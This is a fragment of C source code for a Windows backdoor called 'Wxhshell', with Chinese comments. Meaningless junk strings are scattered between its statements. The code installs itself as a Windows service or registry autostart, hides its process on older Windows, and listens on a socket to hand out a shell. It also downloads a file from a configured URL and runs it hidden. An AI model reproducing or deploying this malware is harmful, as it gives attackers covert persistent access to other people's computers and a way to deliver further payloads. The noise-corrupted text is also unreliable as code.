H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +^4BO` if(hProcess==NULL) return 0; <}EV*`w4 fou_/Nrue HMODULE hMod; crJ7pe9 char procName[255]; JQ"`9RNb unsigned long cbNeeded; $!|8g`Tm QE45!Zg if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `dv}a-Q)c )D["M$ZA^ CloseHandle(hProcess); pHen>BA[ UCn*UX if(strstr(procName,"services")) return 1; // 以服务启动 'dIX=/RZ axK6sIxx return 0; // 注册表启动 n+{HNr } %RQ C9! .3lGX`d{ // 主模块 9Z,*h-o int StartWxhshell(LPSTR lpCmdLine) +Lm3vj_N { $J QWfGwR SOCKET wsl; eyeNrk*2o BOOL val=TRUE; 8K\'Z int port=0; jWH{;V&ZV struct sockaddr_in door; Em e'Gk m:)Z6 if(wscfg.ws_autoins) Install(); :+~KPn>w5 =X-^YG3x port=atoi(lpCmdLine); R K"&l!o vkd[:CC if(port<=0) port=wscfg.ws_port; yicO!:bM YfE>Pn'r WSADATA data; qbS'|--wH if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yim{U:F H>60D|v[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %1Bn_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *#3*;dya] door.sin_family = AF_INET; 0:Ar|to$m door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3gb|x? door.sin_port = htons(port); Dt.0YKF 2Y400 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >qR7'Q wP closesocket(wsl); Lltc4Mzw return 1; hf;S]8|F }
}10\K ;W]D ~X& if(listen(wsl,2) == INVALID_SOCKET) { L2KG0i`+ closesocket(wsl); "r
u]?{v return 1; JkZ50L } UQ/qBbn Wxhshell(wsl); l^.K'Q1~a WSACleanup(); <lUOJV{&\ XMGx^mn return 0; (=1)y'. {@?G 9UypA } /D]Kkm) 4t04}vp // 以NT服务方式启动 ?AEd(_a!q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a Sf/4\ { c! @F DWORD status = 0; ;x-(kIiE DWORD specificError = 0xfffffff; BT]ua]T+ *l{yW"Su serviceStatus.dwServiceType = SERVICE_WIN32; r!7 Y'| serviceStatus.dwCurrentState = SERVICE_START_PENDING; :p' VbQZ{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; []|;qHhC~( serviceStatus.dwWin32ExitCode = 0; &-M]xo^ serviceStatus.dwServiceSpecificExitCode = 0; s2FngAM;f serviceStatus.dwCheckPoint = 0; vv6?V#{ serviceStatus.dwWaitHint = 0; $$hv`HE^l '0:i<`qv#g hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v!H:^!z if (hServiceStatusHandle==0) return; 9IA$z\<<w yPV'pT) status = GetLastError(); 5o#Yt if (status!=NO_ERROR) MM?`voj~`p { ZQ3_y $ serviceStatus.dwCurrentState = SERVICE_STOPPED; V
>Hf9sZ serviceStatus.dwCheckPoint = 0; H6&7\Wbk serviceStatus.dwWaitHint = 0; `2`fiKm serviceStatus.dwWin32ExitCode = status; k;I &.H serviceStatus.dwServiceSpecificExitCode = specificError; ;
dd Q/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); HRB[GP+ return; '7*=`q{
} M\oTZ@ >`'O7.R serviceStatus.dwCurrentState = SERVICE_RUNNING; cX:HD+wO serviceStatus.dwCheckPoint = 0; fr[3:2g-_ serviceStatus.dwWaitHint = 0; WZZ4]cC if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )zq.4 } Q6
?z_0 at|g%$% // 处理NT服务事件,比如:启动、停止 %+-C3\' VOID WINAPI NTServiceHandler(DWORD fdwControl) Fl3#D7K { 9b;A1gu switch(fdwControl) :jEPu3E: { TeQNFo^_8 case SERVICE_CONTROL_STOP: Bfr'Zdw serviceStatus.dwWin32ExitCode = 0; jN0k9O> serviceStatus.dwCurrentState = SERVICE_STOPPED; 3= -pG serviceStatus.dwCheckPoint = 0; 1mH%H*# serviceStatus.dwWaitHint = 0; (*\jbK { kforu!C SetServiceStatus(hServiceStatusHandle, &serviceStatus); pV(lhDNoQ } !k&Q 5s: return; G{9X)|d
case SERVICE_CONTROL_PAUSE: x;\wY' serviceStatus.dwCurrentState = SERVICE_PAUSED; fP HLXg5s break; #~L h# case SERVICE_CONTROL_CONTINUE: O
5Nb serviceStatus.dwCurrentState = SERVICE_RUNNING; &<pKx! break; x3pND case SERVICE_CONTROL_INTERROGATE: ,8MLoZ_ break; &o3K%M;C? }; w}R~C SetServiceStatus(hServiceStatusHandle, &serviceStatus); "xRBE\B } S8,Z;y =PHIpFIuk // 标准应用程序主函数 h*B|fy4K9U int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JUAS$Y { M$Zo.Bl$( 2[fN\e{ // 获取操作系统版本 76cG90!Z OsIsNt=GetOsVer(); 6
sxffJt
GetModuleFileName(NULL,ExeFile,MAX_PATH); A'&n5)tb ,m<H-gwa // 从命令行安装 SLfFqc+n0 if(strpbrk(lpCmdLine,"iI")) Install(); )~6zYJ2 0c^>eq] // 下载执行文件 Z?Hs@j if(wscfg.ws_downexe) { eM7Bc4V if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `(6r3f~XJ WinExec(wscfg.ws_filenam,SW_HIDE); ?ULo&P[ } )vg5((C NcPgq?3p if(!OsIsNt) { ENF"c$R // 如果时win9x,隐藏进程并且设置为注册表启动 {gNV[45 HideProc(); ((tv2 StartWxhshell(lpCmdLine); qn1255fB } Cv
ejb+ else f
h#C' sn if(StartFromService()) 5 <wnva // 以服务方式启动 Uo12gIX StartServiceCtrlDispatcher(DispatchTable); <s5qy- else `U#55k9^5 // 普通方式启动 r_e7a6 StartWxhshell(lpCmdLine); -Y
Bd, k3 ZOXIT(mg return 0; Ofm%:}LV }
|